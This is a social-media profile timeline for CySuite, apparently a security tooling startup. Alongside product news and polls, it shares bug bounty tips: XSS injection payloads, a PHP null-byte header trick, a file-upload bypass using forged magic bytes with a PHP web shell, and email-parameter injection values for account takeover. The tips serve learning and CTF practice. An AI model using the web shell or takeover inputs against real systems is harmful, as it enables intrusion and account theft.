CySuite is a modern analysis tool for efficient representation, querying, and visualization of source code.
San Francisco, CA
Joined July 2021
- Tweets75
- Following4
- Followers144
- Likes178
CySuite has a new landing page redesign!
Join the waitlist today to get early access to the beta version of CySuite. In the beta version, you can link your GitHub repository and visualize a code property graph of the syntax, call stack, and dependencies of your Python program. – at San Francisco, CA
ALT Landing page for the CySuite platform.
Landing page redesign!
The homepage has been redesigned to better explain the three main features of CySuite and how it can help your company. We are still in the early stages and would love your feedback.
Visit the website at cysuite.herokuapp.com – at Islington, London
ALT The new homepage redesign for CySuite
Would you prefer:
A: Access to an API that queries for subdomains, directories and parameters (to integrate to your workflow)
B: A local software that lets you scan web targets for subdomains, directories and parameters manually (like Burp)
#infosec #BugBounty #CyberSecurity – at Berlin, Germany
40%A: API
60%B: Desktop Software
5 votes • Final results CySuite retweeted
Hackers, what's a problem that you wish a program could solve?
simple, complex, niche - doesn't matter. Looking for something to code tonight 😎🤙
What comes first when you put the letter 'G' in the search bar.
60%Google
20%Github
20%Guardians of the Galaxy
5 votes • Final results
CySuite retweeted
Eyeopening keynote by @mdowd for those who’ve been ignoring the trends past decade. data-only, crypto and web attacks are taking over mem corruption bugs in multiple domains.
Nowadays your offensive team is like a car with 3 wheels if it lacks web or crypto experts.
Here are some labs to practice your #CyberSecurity skills categorized by bug type:
[XSS]
prompt.ml
xss-game.appspot.com
alf.nu/alert1
sudo.co.il/xss/
polyglot.innerht.ml
hack.me/t/XSS
#infosec #BugBounty #bugbountytip
CySuite retweeted
PHP drops any header if it finds nullbyte value in the header. If user controls input in header, they can chose to drop the header. This works on PHP since 2015 but will be fixed on next version. #BugBounty
Solution for my CTF:
%00<img src=x onerror=alert(1337)>
This is a really good challenge for beginners. It won't take 30 minutes of your time, and it will increase your problem solving skills.
Plus, there are no ranking or timers. Enjoy and good luck!
ALT Google Beginner CTF
CySuite retweeted
Google CTF Beginners Quest 2021 is on!
capturetheflag.withgoogle.co…?!:)
Go! Now! You have the fate of the world in your hands!
CySuite retweeted
Bug Bounty Tip
Where to inject javascript:alert(1)
🔹 <a href=[xss]>
🔹 <iframe src=[xss]>
🔹 <form action=[xss]>
🔹 <form><button formaction=[xss]>
Firefox Only
🔸 <embed src=[xss]>
#BugBounty #bugbountytip #infosec
#CyberSecurity #cybersecuritytips
#Hacking #hacker #hack
Your subdomain enumeration scan has just finished and you see two outputs. The first has 200 OK and the other has 401 Unauthorized.
Which one do you go for first?
80%200 OK
20%401 Unauthorized
5 votes • Final resultsQuick #bugbountytip: The 401 and 403 status codes are two different things. As per the RFC standard, the 401 Unauthorized header indicates that the request has not been applied because it lacks valid credentials for the target resource. Adding an Authorization Header fixes it.
File Upload techniques:
1. Change magic bytes (used to identify file):
PNG: 89 50 4E 47 0D 0A 1A 0A
Zip File: 50 4B 03 04
JPEG: FF D8 FF EE
BMP: 42 4D
2. Send payload
(Injected using BurpSuite)
<?php system($_GET['cmd']); ?>
Follow for more #infosec updates and #bugbountytips
![PNG magic bytes [PNG]](https://pbs.twimg.com/media/E9lm4XxWYAISB47.png?name=orig)
ALT PNG magic bytes [PNG]
![JPEG magic bytes [JFIF]](https://pbs.twimg.com/media/E9lm4X9XoAMraBa.png?name=orig)
ALT JPEG magic bytes [JFIF]
ALT File upload injection (PoC)
Yet another Account Takeover technique.
Seperator:
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]
Array:
{"email":["[email protected]","[email protected]"]}
Follow for more #infosec updates and #bugbountytips
